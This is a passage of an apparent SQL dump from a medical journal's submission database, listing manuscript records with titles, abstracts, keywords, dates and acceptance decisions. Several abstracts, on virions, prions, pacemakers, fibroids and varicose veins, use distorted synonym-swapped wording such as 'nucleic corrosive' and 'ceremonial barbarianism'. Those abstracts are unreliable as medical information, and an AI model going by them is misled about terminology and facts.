revisión ofrece una estrecha asociación entre el síndrome coronario agudo, la arterosclerosis, erosión de placa o fisura asociada con la formación de trombos, en la microcirculación (vasoconstricción paradójica), y la enfermedad del tronco coronario \\r\\n\\r\\n','síndrome coronario agudo, enfermedad obstructiva del tronco coronario, erosión de placa ateromatosa en porción distal del tronco coronario.',2805,NULL,'2021-06-07',NULL,'Submitted',2,NULL,'2021-09-03',NULL,1,1,'0','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(8838,9879,277,0,'ipadm-21-8838','AC-SDKP COMO MECANISMO PROTECTOR ANTE LA ENFERMEDAD VALVULAR AORTICA FIBROCALCICA',NULL,15,0,'','Antecedentes: El Ac-SDKP es un tetrapéptido de origen natural con propiedades inmunomoduladores, proangiogenicas, antinflamatorias y antifibrotica. Las propiedades beneficiosas del Ac-SDKP, han generado gran interés en todo el ámbito médico, acaparando unas cifras considerables de investigaciones realizadas en las últimas dos décadas. La valvulopatía calcificante aórtica es la valvulopatía más frecuente, afectando cada vez más a los ancianos, se caracteriza fisiopatológicamente por presentar procesos antifibróticos y antiinflamatorios.\\r\\nMetodología: Se realizó una revisión narrativa a través de diversas bases de datos de Enero de 2001 a Mayo del 2021; la búsqueda y selección de artículos fue llevada a cabo en revistas indexadas en idioma español e inglés. Se utilizaron como palabras clave: Ac-SDKP, Mecanismo, Protector, Valvular aortica, Fibrocalcica, IECCA.\\r\\nResultados: Ac-SDKP, presenta efectos protectores ante la enfermedad valvular aortica fibrocalcica, como se demuestra en sus propiedades antifibróticas y antiinflamatorias. Dado que la calcificación de la enfermedad esta mediada por procesos inflamatorios y procesos fibróticos, este sería un punto de partida para nuevos enfoques terapéuticos.\\r\\nConclusiones: La presente revisión ofrece recomendaciones para utilizar el tetrapeptido N-acetil-seril-aspartil-lisil-prolina (Ac-SDKP) como punto de partida para nuevos enfoques terapeuticos.\\r\\n',' Ac-SDKP; Mecanismo; Protector; Valvular aortica; Fibrocalcica; IECCA. \\r\\n',2805,NULL,'2021-06-07',NULL,'Submitted',2,NULL,'2021-07-22',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8845,9887,959,0,'ipacr-21-8845','The management of sentinel lymph node biopsy in breast cancer',NULL,2,0,'','Breast cancer is a public health issue due to its high incidence and mortality in advanced stages. As breast cancer is lymphophilic (the disease is spread mainly through the lymphatic system), axillary surgery remains essential in the treatment and staging of this condition. Sentinel lymph node biopsy has become the gold standard for axillary  nodal staging, successfully replacing total axillary lymphadenectomy. This procedure has evolved significantly in the last 30 years and represents  a topic of great relevance and interest. Certain issues related to the sentinel lymph node (identification techniques, indications and contraindications, the role of adjuvant therapy), will be highlighted  in this paper.','breast cancer, sentinel lymph node biopsy, techniques of sentinel lymph  node biopsy, total axillary lymphadenectomy',3142,NULL,'2021-06-08',NULL,'Submitted',2,NULL,'2021-06-26',NULL,1,1,'0','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(8846,9888,73,0,'ipjnn-21-8846','Validation of the two minute step test as predictor of aerobic capacity in institutionalized elderly for neurological rehabilitation',NULL,14,0,'','Objective - The purpose of this study was to evaluate the use, statistical validity, and sensitivity, of the two-minute step test as a predictor of aerobic capacity in institutionalized elderly for neurological rehabilitation.\r\nMethod- An observational type study of 60 subjects between the age group of 60-94 was carried out, the data analysis was done on the basis of normative values calculated for each age group and we compared heart rate, oxygen saturation, and perceived exertion obtained during the performance of 2MST with those obtained during the 6MWT. \r\nResults- According to the age group, normal values of steps were correlated with the two- minutes step test. The more number of steps performed during the two-minute step test was associated with higher values of peak oxygen consumption. Comparing 2MST and 6MWT in 60 subjects for validity, r = 0.935 (P < 0.0001). They were statistically equivalent in heart rate (97 ± 4 and 95 ± 4 bpm), oxygen saturation (97 ± 0.5 and 96 ± 0.6%), rating of perceived exertion (13.6 ± 0.4 and 12.4 ± 0.4), and blood pressure (130 ± 4/62 ± 3 and 128 ± 3/62 ± 2 mmHg), (mean ± SE, 2MST and 6MWT, respectively). The sensitivity of the 2MST was high, based both on the number of steps achieved by inpatients (37 ± 13 steps, mean ± SD), and healthy subjects (54 ± 18 steps) (P < 0.001), Results suggest that the two-minute step test has potential as one of the vital tool for aerobic and physical capacity in the elderly population which in turn could be a major indicator for the neurological rehabilitation protocols.\r\nConclusion - Although the benefits of the two-minutes step test as an indicator for aerobic and physical capacity in the elderly look promising, general guidelines for the clinical use of the two-minutes step test and its normative values are difficult to make. Future research should explore the normative values for different populations, factors affecting the use of two-minute step tests, effects of two-minute step tests alone on various systems without in combination with other tests. \r\nKEYWORDS- step test, two-minute step test, elderly, elderly population, senior function test, aerobic capacity, elderly rehabilitation, physical capacity, and neurological rehabilitation\r\n\r\n','',3970,NULL,'2021-06-08',NULL,'Submitted',2,NULL,'2021-09-03',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8848,9890,86,0,'ipaom-21-8848','Lung cancer patients, at high risk for admission due to pneumonia, did not require hospitalization for COVID19 at Creighton University Medical Center-Bergan Mercy in 2020.',NULL,14,0,'','Abstract:\r\nBackground:  Patients with lung cancer are a vulnerable group of patients, high risk for hospitalizations and death, although causes for admission in this high-risk group are elusive. Also, the real-world effects of patients with lung cancer in the COVID19 pandemic is unclear.\r\n\r\nObjective:  a. To evaluate causes for admission and readmission in lung cancer patients and b. to evaluate the rate of COVID19 admissions for this group of patients with COVID19.\r\n\r\nDesign:  Cohort, retrospective chart review.\r\n\r\nSetting:  United States, Creighton University Medical Center – Bergan Mercy (CUMC-B) Jan. 1, 2019 through Dec. 31, 2020.\r\n\r\nParticipants:  Patient with an established diagnosis of lung cancer, pursing treatment, ages 19-89.\r\n\r\nMeasurements:  Causes for admission for patient with lung cancer, as well as rate of COVID19 admissions for patients with lung cancer.\r\n\r\nResults:  Number of patients eligible, based on inclusion criteria: 37 (selected from 311 candidates). Out of these 37 patients, there were a total of 47 separate causes for admission in lung cancer patients in 2019 (admission and readmission data were combined).  Of 47 separate causes for hospitalizations (and 83 total hospitalizations in 2019 among 37 separate people), average of 3.3 causes for admission per each hospitalization. Of these 47 separate causes for admission, 16.88% were as a result of pneumonia (viral and bacterial), 11% with acute respiratory failure with hypoxia.  The top 14 causes for admission were responsible for 71.4% of the admissions of lung cancer patients in 2019. Of the surviving patients from 2019 into 2020, 1 had confirmed COVID19. None were hospitalized for COVID19 within the CUMC-B Hospital Medicine Internal Medicine Department. Although there were not COVID19 related hospitalizations, the percentage of overall people who died in this lung cancer cohort increased (10 deaths out of 37 (27%) from Jan 1, 2019 in comparison to 13 deaths out of 26 (50%) after March 2020).\r\n\r\nLimitations: small sample size, possibility for selection bias (since patients and data were manually selected to meet study criteria), inability to know COVID19 status of 14 patients, inability to know if these patients died in other hospital systems outside of the EMR used (Epic) or home/hospice.  \r\n\r\nConclusion:  The number one cause for admission for lung cancer patients in 2019 was pneumonia, second main cause being acute respiratory failure with hypoxia. Other causes that are notable include anemia requiring transfusion and cancer associated pain. Of the 10 patients who died in 2019, there were 7 patients who transitioned into hospice. Furth investigation into the causes for admission for patients with lung cancer, as well as hospice utilization, warrant further investigation in the future. Despite the various causes for hospital admission for patients with lung cancer, as well as this group’s high risk for mortality, no lung cancer patients were admitted with COVID19 at CUMC-B Hospital Medicine Internal Medicine Department in 2020. Although the reason for this is unknown, the protection of lung cancer patients from COVID19 is likely a result of nonpharmaceutical interventions. Interestingly, more patients lung died overall after March 1, 2020 in comparison to Jan 1, 2019-Feb 29, 2020, the cause of this being unclear. One wonders if this cohort of patients were reluctant to seek out medical care, in general, for fear of getting COVID19, although with such a small sample size, it is difficult to draw any definitive conclusions.\r\n','',3386,NULL,'2021-06-08',NULL,'Submitted',2,NULL,'2021-06-25',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8863,6982,45,0,'iphsj-21-8863','THE INFLUENCE OF AEROBIC FASTING ON THE BODY COMPOSITION OF TRAINED INDIVIDUALS: A MINI REVIEW',NULL,14,0,'','Aerobic training has been considered as a good strategy to improve physical conditioning, body composition and health promotion. The present study sought to analyze the influence of fasting aerobic training on the body composition of trained people. For this, a bibliographic review of the literature was carried out based on the survey of theoretical references already analyzed and published by written means such as books, theses and monographs and electronic bases such as Scielo and PubMed, seeking a clear analysis of the results requested in the body composition of individuals trained to apply fasting aerobics. In this work, it is possible to understand how fast aerobic training can influence body composition and be an alternative to reduce adipose tissue.','Aerobic training. Fasting. Body composition',643,NULL,'2021-06-09',NULL,'Submitted',2,NULL,'2021-06-26',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8864,9903,975,0,'ipjbs-21-8864','Protective Role of Virgin Coconut Oil against adverse effects of Atrazine toxicity on glucose and oestradiol metabolism in male wistar rats',NULL,14,0,'','This study assessed protective role of Virgin Coconut Oil (VCO) following atrazine-induced glucose metabolic derangement in rats. Adult male albino wistar rats weighing 180-200g body weight were used for the study. They were randomly separated into two major experimental groups (The test and recovery groups). Treatment in the test group lasted for 2 weeks, after which the animals were sacrificed and blood collected for analysis and treatment in the recovery group lasted for four weeks. In the test groups, the results of this study on glucose metabolism showed that Diabetes and ATZ significantly increased (p<0.05) the fasting blood glucose level and reduced serum estradiol levels. In conclusion, ATZ toxicity deranged glucose metabolism but the withdrawal of ATZ significantly reversed some of these derangements; with more pronounced effect following VCO administration.','Virgin Coconut Oil, Atrazine, Glucose, Oestrogen, Diabetes, environmental pollutants',4089,NULL,'2021-06-09',NULL,'Submitted',2,NULL,'2021-07-23',NULL,1,1,'0','can be publish\r\n',0,'','',NULL,0,0,0,NULL,0),(8872,6489,86,0,'ipaom-21-8872','MICROCEPHALY IN THE MATERNAL-CHILD LIFE CYCLE  ',NULL,14,0,'','Microcephaly is characterized by a complex etiology, in addition to being associated with congenital Zika virus infection, being caused by environmental, genetic factors, metabolism diseases, as well as by the use of drugs and maternal diseases during the gestational period. This study aimed to know the microcephaly in the maternal-child life cycle in the Cariri region and its repercussion on maternal mental health. This is a cross-sectional, descriptive research with a quantitative-qualitative approach, delineated through a descriptive study in the formal statistical analysis for quantitative results. Schutze’s narrative  was used for qualitative analysis. The study was carried out in inland Ceará in a reference unit for children with microcephaly. Thirteen mothers were interviewed, who have children with microcephaly due to ZIKAV, who had contact with the virus during the fertile period during pregnancy. The profile of the study subject showed that maternal education corresponds to secondary education, 23.1%, with pardo self-reported color 92.3%, married marital status 61.5%, with 46.2% as housekeeper occupation, and the mean age of 29.38% (range: 15 to 41 years). The results showed that there is a difference between living conditions of families, knowledge about Zika virus and mothers’ feelings about this pathology. Therefore, public policies and health education should be implemented in relation to ZIKAV, in an attempt to reduce cases of microcephaly in the NE of Brazil.','Microcephaly; Mental Health; Maternal Infant; ZIKA V; Pregnancy.',2890,NULL,'2021-06-10',NULL,'Submitted',2,NULL,'2021-09-16',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8873,6489,86,0,'ipaom-21-8873','NEUROLOGICAL CHARACTERISTICS DUE TO COVID - 19: KNOWLEDGE OF THE POSSIBLE PATHWAYS THAT LEAD TO INFECTION AND ITS REPERCUSSIONS ON THE NERVOUS SYSTEM',NULL,12,0,'','Understanding the SARS-CoV-2 pathophysiology regarding neural system contamination and damage is necessary for clinical and therapeutic approaches, which may reduce the damage caused by the disease. In this regard, it is important to highlight that, besides the direct effect on neurons, the inflammatory state caused by a dysregulation of the immune system due to infection are both factors responsible for neurological phenomena of the disease. The presence of the virus in the bloodstream, its ability to directly penetrate the NS through peripheral nerves and the weakening of the blood-brain barrier are added to the tropism of SARS-CoV-2 by ACE-2 receptors, which favors the appearance of brain manifestations, associated with metabolic complications in the autoimmune processes induced by viral clinical condition.  It is essential to remember that the cerebrovascular events have been increasingly reported in infected patients and are associated with the hypercoagulability caused by the disease. The activation of the coagulation cascade and deregulation of physiological anticoagulant mechanisms, such as protein C system and the disintegration of fibrin, are possible causes of this hypercoagulable state present in COVID-19. Even though it is still not evident whether the impairment of the nervous system is a result of direct infection by SARS-CoV-2 or of a diffuse inflammatory process affecting various organs and systems generating multiple manifestation, including those of the nervous system, we highlight that the quantity of drugs administered in intensive care units also can interfere with neurological conditions.','SARS-COV-2; Nervous System; Neurological Conditions; COVID-19.',2890,NULL,'2021-06-10',NULL,'Submitted',2,NULL,'2021-07-13',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8874,6489,86,0,'ipaom-21-8874','NEW PHARMACOLOGICAL THERAPEUTIC APPROACHES FOR DEPRESSIVE DISORDERS: A SYSTEMATIC REVIEW',NULL,15,0,'','Introduction: Depression, being the most disabling disease in the world and presenting high morbidity and mortality, requires an effective treatment to ensure the maintenance of the patients\' quality of life. About a third of patients do not respond adequately to antidepressant treatment. New pharmacological therapies are being approached in order to reduce the unfavorable outcomes resulting from this pathology.\r\nObjective: To develop a systematic review of the literature on the new possibilities of pharmacological treatments for depression in the last four years.\r\nMethod: A systematic review was carried out following the PRISMA protocol (Preferred Reporting Items for Systematic Reviews and Meta-Analysis). We have included studies on the effectiveness of new pharmacological therapies in patients with major depressive disorder and treatment-resistant depression. \r\nResults: In the treatment of the major depressive disorder (MDD), the use of brexpiprazole 1 mg/day in addition to the usual antidepressant treatment (ADT) resulted in significant improvement in the main symptoms. Already referring to treatments for treatment-resistant depression (TRD): nasal esketamine proved beneficial in the short term, intravenous (IV) ketamine also appears as an effective therapy.\r\nConclusion: The use of brexpiprazole 1 mg/day associated with an antidepressant, and the use of lactobacilli represent a new option for those with MDD. In addition, both ketamine, riluzole, and cariprazine appear as new hopes for those who have not yet achieved remission of the depressive disorder with the use of more than two antidepressants.','New Treatment; Pharmacological; Depressive Disorder.',2890,NULL,'2021-06-10',NULL,'Submitted',2,NULL,'2021-07-08',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8884,9920,975,0,'ipjbs-21-8884','A PANDEMIC CURSE FOR HUMANITY:REVIEW ON COVID -19',NULL,3,2,'','Covid-19 is a respiratory virus that transmitted through direct contact with an infected person by respiratory droplets when the infected person sneezes ,cough & through saliva, nose droplets eject. Corona virus causes respiratory tract infection including pneumonia, cold, sneezing, coughing, fever, and tiredness while in animals it causes upper respiratory diseases. Corona virus causes a disease which comes under the category of acute infectious diseases caused by SARS-CoV-2. According to WHO diseases of Covid-19 is a worldwide epidemic illness. The disease of Covid shows mild symptoms in most of the cases, but usually it rises with people of old aged groups or patient having low immunity. European Centre for Disease Prevention and Control (ECDC) advice to avoid public place and close contact to infectious persons. Corona virus first introduce from Wuhan market China at 7 Jan 2020. This review will introduce a general overview of corona virus and describe the clinical features, evaluation, and some basic parameter of treatment.','COVID-19, emerging coronavirus, SARS-CoV-2, diagnosis, MERS, respiratory syndrome',3677,NULL,'2021-06-11',NULL,'Submitted',19,NULL,'2021-06-18',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(8885,4635,277,0,'ipadm-21-8885','Deficiencia congénita de factor VII: reporte de caso y revisión de literatura',NULL,2,0,'','La deficiencia de Factor VII (FVII) es un trastorno congénito poco frecuente, causado por la deficiencia del factor de coagulación VII dependiente de vitamina K, caracterizado por niveles reducidos o ausentes de este factor que resulta en diátesis hemorrágica de gravedad variable. La enfermedad se transmite de forma autosómica recesiva y la consanguinidad familiar es frecuente. Es una entidad rara por lo que describimos el primer caso diagnosticado en Honduras de paciente femenina que a los 5 días de vida debuta con hemorragias severas en quien se constató la deficiencia de FVII. Paciente se encuentra con terapia sustitutiva a largo plazo con FVII recombinante con lo que no ha presentado hemorragias nuevamente.','Trastornos de la coagulación sanguínea, Deficiencia de factor VII; hemorragia',2805,NULL,'2021-06-11',NULL,'Submitted',2,NULL,'2021-07-07',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8898,8589,251,0,'ipacm-21-8898','Bacteriology and Antimicrobial Profile of Urinary Tract Infection in Adult Patients with Human Immunodeficiency Virus in a Nigerian Teaching Hospital.',NULL,15,0,'','There has been a rising incidence of treatment failures of urinary tract infection (UTI) in patients with human immunodeficiency virus infection (HIV). This study was carried out to determine the bacteriology of urinary tract infections in patients with HIV infections in University of Nigeria Teaching Hospital, Enugu.','Antimicrobials, Bacteriology, ESBLs, HIV, Patients, Profile, Resistance, UTI, Treatment.',3944,NULL,'2021-06-14',NULL,'Submitted',2,NULL,'2021-06-29',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(8902,9938,45,0,'iphsj-21-8902','CARDIOVASCULAR SYSTEM AND SARS-COV-2 – ETIOLOGY, PHYSIOPATHOLOGY AND CLINICAL PRESENTATION: A SYSTEMATIC REVIEW',NULL,15,0,'','Background: During SARS-CoV-1 and Middle East Respiratory Distress Syndrome (MERS) outbreaks, a particularly elevated incidence of cardiovascular disease among patients was observed. With COVID-19, this correlation becomes evident again. However, the cardiovascular impacts by COVID-19 pandemic are not yet well established although there are constant publications about its potential deleterious effects. Thus, we aimed to carry a systematic review of the literature with meta-analysis based on the following guiding question: what practical contributions to the scientific literature produced in the period of 2019-2020 does the impact of the COVID-19 on cardiovascular system have to offer?\r\nMethods: A systematic review of the literature using the Virtual Health Library (VHL) and PubMed with the following descriptors: #1 \"cardiovascular disease\" [MeSH] AND #2 \"COVID-19\" [keyword], as well as their equivalents in the Portuguese and Spanish language, during the period from December 2019 to March 2020 was performed.\r\nResults: one hundred articles are found in Pubmed and twenty-seven are selected. In VHL there were 59 articles and four are selected totaling thirty-one papers. The findings were then divided into three subcategories: Etiology, Physiopathology and Risk factors of SARS-CoV-2 in Cardiovascular System; Clinical presentation, laboratory markers and imagenological aspects of SARS-CoV-2 in cardiovascular system; and Anti-Hypertensive Drugs, Cardiovascular System and SARS-CoV-2.\r\nConclusions: It comes to the cardiovascular system, these issues are aggravated and urge as a joint commitment from researchers, medical and governmental organizations for carry out more robust studies with bold methodologies aimed at mapping prognostic factors and assertive therapeutic approaches in the management of cardiovascular complications of COVID- 19.\r\n','Cardiovascular Disease; Coronavirus Infections; Clinical Medicine; Systematic Review. ',4825,NULL,'2021-06-14',NULL,'Submitted',2,NULL,'2021-07-12',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8911,9932,251,0,'ipacm-21-8911','Dengue and COVID-19 co-infection or cross-reactivity: Retrospective study from a tertiary care hospital.',NULL,14,0,'','Abstract\r\nDengue virus (DENV) and SARS-CoV-2 are single, positive-stranded RNA viruses infecting humans. The early clinical presentation of both viral diseases is quite similar, creating a serious challenge for healthcare providers to discriminate between the two diseases. Recent studies report cases of co-infection as well as cross-reactivity of DENV and COVID-19. Therefore, a retrospective study was designed to identify cases of co-infection/cross-reactivity and its severity based on liver function tests (LFTs). We identified 38 cases of co-infection in a tertiary care hospital in Karachi, Pakistan during the year 2020. These cases were dengue NS-1 Ag or IgM/ IgG antibody-positive along with SARS-CoV-2 RT-PCR positive. The serological profile of coinfected cases revealed that the pattern of dengue serology is mainly based on IgG positivity followed by IgG & IgM positivity. Whereas, a single case of positive NS-1 and a single case of only IgM positive were found. The finding supports that if it is co-infection then might be more common in secondary as compared to primary dengue infection and not causing severe liver damage. This study strongly suggests, to exclude the possibility of cross-reactivity of antibodies in this pandemic condition, dengue infection should be confirmed by using accurate methods (RT-PCR or Virus isolation). Secondly, this study alarms that the dengue-endemic countries are at a higher risk of misdiagnosis of viral infection. Therefore, precautionary measures by the government agencies should be taken in this pandemic situation to reduce dengue infection in future.','co-infection, cross reactivity, antigen, antibody.',778,NULL,'2021-06-15',NULL,'Submitted',2,NULL,'2021-08-09',NULL,1,1,'0','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(8914,9953,85,0,'iphspr-21-8914',' Using social interactive technologies for maximizing the public health benefits: Qualitative insights',NULL,14,0,'','Despite the importance of digital technologies for health marketing, the level of adoption and execution is relatively slow, especially in Arab countries. The major objective of this study is to understand the influence of organizational culture on digital marketing communication in the private and public health sectors of Saudi Arabia.  The study adopts an interpretivist research paradigm and a digital constructivist approach to understand organizational cultural and other factors that can influence digital marketing communication in private and public health services. Data were collected from health professionals from four public and private hospitals using semi-structured interview method. The findings reveal that private hospitals have high levels of employee empowerment, and digital marketing experts who enhance collaboration, coordination, skills development, and technology use. The use of digital media is common, which increases patient awareness and education. This drives brand building in terms of health services and also facilitates patient engagement and feedback. It increases the rate of digital adoption in private hospitals. Conversely, the Saudi government took the marketing for business organization only and not aware about its use in public hospitals for public benefits such as improvement in patient education and quality of life. It provides a number of recommendations for the health ministry, for management in hospitals, and for the various health promotion departments. Its purpose is to advance digital health marketing strategies. ','health education, social media, public health, social interactions, public healthy life style. ',2906,NULL,'2021-06-15',NULL,'Submitted',4,NULL,'2021-09-14',NULL,1,1,'0','Accepted the article',0,'','',NULL,0,0,0,NULL,0),(8917,9957,85,0,'iphspr-21-8917','Roles and Responsibilities of Tertiary-care Associated Urgent Care Centers: a Rapid Literature Review',NULL,25,0,'','Background: The Saskatchewan government is building two new UCCs (Urgent Care Centers) in Saskatoon and Regina, SK., Canada.  We wished to explore leading clinical practices as to what best defines UCCs. Our research focus was to identify the roles and responsibilities of UCCs, staffed by professionals proficient in managing acuity, operating in conjunction with tertiary care centers.\r\n\r\nMethods and Findings: A rapid review of the literature was conducted to understand best practices, and how similar centers function in other urban areas. Twenty-seven articles were included in the final synthesis. The main findings were (1.) The UCCs impact in reducing ED (Emergency Department) wait times may be substantially less than anticipated. (2.) The UCCs geographical location needs to be in close proximity to an ED. (3.) The UCCs facility is best situated in an underserved community. (4.) Collaboration and integration need to occur “early” between ED, UCC, EMS (Emergency Medical Services), and PC (Primary Care).  (5.) The UCCs should be capable of handling emergent and non-urgent conditions.  (6.) The UCCs should be staffed by EM (Emergency Medicine) and FM (Family Medicine) Physicians, and Allied Health personnel who are proficient with acuity and primary care sensitive needs. (7.) Engagement of community leaders in the founding phase will contribute to the UCCs utilization and success.  Since a universal definition of UCCs is lacking, it can be inferred that the operating mandate of UCCs can be defined by identified communal health needs and gaps. Several successful western Canadian UCCs exemplify the above findings.  \r\n\r\nConclusions: Although definitive guidelines for UCC development are not readily available, the literature does offer some principles to optimize their effectiveness. Saskatchewan’s UCCs are envisioned to be “EM Lite” facilities capable of managing episodic urgent and non-urgent medical & behavioral emergencies and primary care sensitive needs.  \r\n','Urgent Care Clinics, Primary Care, Emergency Department, Family Physician, Emergency Physician',2141,NULL,'2021-06-16',NULL,'Submitted',4,NULL,'2021-07-28',NULL,1,1,'0','                     ',0,'','',NULL,0,0,0,NULL,0),(8924,9677,251,0,'ipacm-21-8924','Virion – An Infectious Agent',NULL,5,0,'','Virion, a whole infection molecule, comprising of an external protein shell called a capsid and an internal centre of nucleic corrosive (either ribonucleic or deoxyribonucleic corrosive—RNA or DNA). The center gives infectivity, and the capsid gives explicitness to the infection. In certain virions the capsid is additionally encompassed by a greasy layer, where case the virion can be inactivated by openness to fat solvents like ether and chloroform.','',779,NULL,'2021-06-16',NULL,'Submitted',2,NULL,'2021-06-29',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(8932,9972,326,0,'IPJUS-21-8932','Pacemaker - Technique of implantation',NULL,5,0,'','A pacemaker (PM) is a clinical gadget that utilizes electrical impulses, conveyed by electrodes contracting the heart muscles, to manage the beating of the heart. The primary role of this gadget is to keep a sufficient pulse, either in light of the fact that the heart\'s normal PM is not fast enough, or there is a block in the heart’s electrical conduction framework. Modern PMs are remotely programmable and permit the cardiologist to choose the ideal pacing modes for singular patients. Some join a PM and defibrillator in a solitary implantable gadget. PMs can be transitory or perpetual. Impermanent PMs are utilized to treat momentary heart issues, for example, a lethargic heartbeat that is brought about by a coronary episode, heart medical procedure, or an excess of medication. Perpetual PMs are utilized to control long haul heart musicality issues.','pacemaker, heart',2505,NULL,'2021-06-16',NULL,'Submitted',2,NULL,'2021-06-17',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8933,9972,326,0,'IPJUS-21-8933','Radiotherapy for Head and Neck Cancer and its complications',NULL,5,0,'','Head and neck cancer includes a heterogeneous gathering of tumors emerging from the upper aerodigestive tract, paranasal sinuses, and salivary and thyroid glands. The ideal administration of head and neck cancer requires a multidisciplinary approach. Surgery and radiotherapy are the significant treatment modalities.\r\nThe significant objective of radiotherapy is to accomplish local control of the tumor while limiting harm to the critical organs. Radiotherapy for patients with head and neck malignancy is amazingly intricate and has advanced incredibly in the previous decade, attributable to the coming of conformal and force balanced radiotherapy procedures. Impressive variety practically speaking arrangement exists among organizations. The degree of essential tumor and neck lymphadenopathy of different subsites and the pathologic discoveries direct the proper radiation fields, portion, and fractionation. Customization of the treatment methods is fundamental.','Head and neck cancer, radiotherapy',2505,NULL,'2021-06-16',NULL,'Submitted',2,NULL,'2021-06-17',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8939,9973,326,0,'IPJUS-21-8939','Uterine fibroids – Treatment',NULL,5,0,'','Uterine fibroids (leiomyomas or myomas), benign monoclonal tumors, , are the most well-known generous tumors in ladies. Substantial or delayed menstrual bleeding, unusual uterine bleeding, resultant anemia, pelvic pain, infertility, or potentially intermittent pregnancy misfortune are for the most part connected with uterine fibroids. Albeit therapeudic therapy of this tumor depends on careful treatments, clinical medicines are viewed as the principal line treatment to protect richness and keep away from or postpone a medical procedure. The point of this audit is to give accessible and arising clinical treatment alternatives for indicative uterine fibroids. Literature review and agreement of well-qualified assessment. Numerous uterine fibroids are asymptomatic and require no intercession, despite the fact that it is prudent to follow-up patients to record soundness in size and development. Fibroid-related indications incorporate substantial feminine draining and torment or pelvic distress. The relationship among barrenness and fibroids increments with age. Therapy alternatives for indicative uterine fibroids — incorporate clinical, careful, and radiologically guided mediations.','Uterine fibroids, menstrual bleeding',2505,NULL,'2021-06-16',NULL,'Submitted',2,NULL,'2021-06-17',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8940,9973,326,0,'IPJUS-21-8940','The Cause of varicose veins',NULL,5,0,'','Varicose veins are convoluted, augmented veins in the subcutaneous tissues of the legs and are frequently effectively noticeable. Their valves are typically inept so reflux of blood happens, and the subsequent venous hypertension can cause side effects. Varicose veins are generally seen as medicinally irrelevant and meriting low need for treatment.  They are normal, affecting nearly a third of adults in Western societies, and few individuals with varicose veins are at any point hurt by them. In any case, they cause concern and trouble for an enormous scope, the greater part of which can be managed by acceptable clarification and consolation, or by an assortment of medicines which are developing quickly as of now.','Varicose veins, augmented veins',2505,NULL,'2021-06-16',NULL,'Submitted',2,NULL,'2021-06-17',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8943,8175,45,0,'iphsj-21-8943','Genom and gene mutation of SARS-CoV-2 ',NULL,9,0,'-','The SARS-CoV-2 genome consists of the: 5’ UTR, ORF 1ab gene, S gene, ORF 3a gene, E gene, M gene, ORF 6 gene, ORF 7a gene, ORF 7b gene, ORF 8 gene, N gene, ORF 10 gene and 3’ UTR. Gene mutations in SARS-CoV-2 can occur in all genes that make up the genome of SARS-CoV-2. Due to mutations in the SARS-CoV-2 gene, various variants of SARS-CoV-2 appear. Several variants of SARS-CoV-2 recorded since December 2020 include of  B.1.1.7, B.1.351, B. 1.429, B.1.1.28, B.1.617 and B.1.618 variants. Due to the emergence of various variants of SARS-CoV-2, we must be more careful to avoid COVID-19. People who have co-morbidities of COVID-19 should be more careful to avoid COVID-19. We must continue to apply health protocols at the community level to prevent the transmission of SARS-CoV-2.','SARS-CoV-2, genom of SARS-CoV-2, gene mutation, COVID-19',4824,NULL,'2021-06-17',NULL,'Submitted',2,NULL,'2022-03-24',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8945,9677,251,0,'ipacm-21-8945','Prion – A Misfolded Protein',NULL,3,0,'','Prions, purported on the grounds that they are proteinaceous, are irresistible particles, less than infections that contain no nucleic acids (neither DNA nor RNA). Truly, the possibility of an irresistible specialist that didn\'t utilize nucleic acids was viewed as unimaginable, yet spearheading work by Nobel Prize-winning researcher Stanley Prusiner has persuaded most of scholars that such specialists do in fact exist. Deadly neurodegenerative sicknesses, for example, kuru in people and ox-like spongiform encephalopathy (BSE) in dairy cattle (normally known as \"distraught cow illness\"), were demonstrated to be sent by prions. The illness was spread by the utilization of meat, sensory tissue, or inner organs between individuals from similar species. Kuru, local to people in Papua New Guinea, was spread from one human to another through ceremonial barbarianism.','',3944,NULL,'2021-06-17',NULL,'Submitted',2,NULL,'2021-07-01',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(8953,9986,45,0,'iphsj-21-8953','Attitudes of Mental Health Nurses Toward Substance Use Patients and Their Treatment at Iradah Complex for Psychiatry in Jeddah',NULL,14,0,'','Background: Substance use is a major health problem in the Saudi Arabia today. The prevalence of the problem in health care settings mandates examination of the nurse practitioner\'s attitudes toward substance use patients. Study has demonstrated that the attitude of the health care provider toward the substance use patients can affect the level and quality of care rendered. \r\nPurpose: This study aimed to assess the attitude of mental health nurses toward substance use patients and their treatment at Iradah complex. \r\nMethods: a descriptive correlational study design was conducted using a convenience sample of psychiatric nurses at Iradah complex (N=155). The study used Drug and Drug Problems Perceptions Questionnaire (DDPPQ) to collect the data after obtaining the official and ethical approvals. \r\nResults: The results of the study showed that the study participants had positive attitudes towards people diagnosed with substance use disorder in all dimensions of the scale: role adequacy, role legitimacy, role support, motivation, work satisfaction, self-esteem. additionally, the results revealed that there was significant relationship between participants attitudes and education qualification, work setting and experience generally.\r\nConclusion: The study showed that the study participants had accepted attitudes towards patient diagnosed with substance use disorder as it is measured by DDPPQ. Further studies are recommended to determine the effect of a substance use educational program on attitudes. A qualitative study examining the practitioners\' attitudes through face-to-face interviews and journals is also recommended.','Nurses, 